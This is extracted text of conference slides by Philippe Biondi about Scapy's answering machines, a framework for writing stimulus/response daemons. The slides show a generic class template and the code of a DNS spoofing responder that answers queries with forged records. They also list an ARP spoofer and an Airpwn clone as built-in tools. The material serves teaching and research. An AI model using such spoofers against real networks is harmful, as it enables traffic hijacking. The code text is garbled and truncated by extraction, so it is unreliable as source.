Packet generation and network based attacks with Scapy - SecDev.org

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Answering machinesIntroductionScapyNetwork discovery and attacksGenesisConceptsQuick overviewAn answering machine enables you to quickly design astimulus/response daemonAlready implemented: fake DNS server, ARP spoofer, DHCPdaemon, FakeARPd, Airpwn cloneInterface descriptionclass Demo_am(AnsweringMachine):function_name = "demo"filter = "a bpf filter if needed"def parse_options(self, ...):....def is_request(self, req):.... return 1 if req is a requestdef make_reply(self, req):.... return the reply for reqPhilippe BIONDIPacket generation and network based attacks with Scapy
Answering machinesIntroductionScapyNetwork discovery and attacksGenesisConceptsQuick overviewclass DNS am( AnsweringMachine ) :function name="dns_spoof"f i l t e r = "udp␣port␣53"def parse options ( self , joker="192.168.1.1" , zone=None ) :i f zone i s None :zone = {}s e l f . zone = zones e l f . joker=jokerdef is request ( self , req ) :return req . haslayer (DNS) and req . getlayer (DNS) . qr == 0def make reply ( self , req ) :ip = req . getlayer ( IP )dns = req . getlayer (DNS)resp = IP ( dst=ip . src , src=ip . dst )/UDP( dport=ip . sport , sportrdata = s e l f . zone . get ( dns . qd . qname , s e l f . joker )resp /= DNS( id=dns . id , qr =1 , qd=dns . qd ,an=DNSRR( rrname=dns . qd . qname , t t l =10 , rdata=rdreturn respPhilippe BIONDIPacket generation and network based attacks with Scapy
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Pretty printingIntroductionScapyNet
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Packet generation and network based attacks with Scapy - SecDev.org

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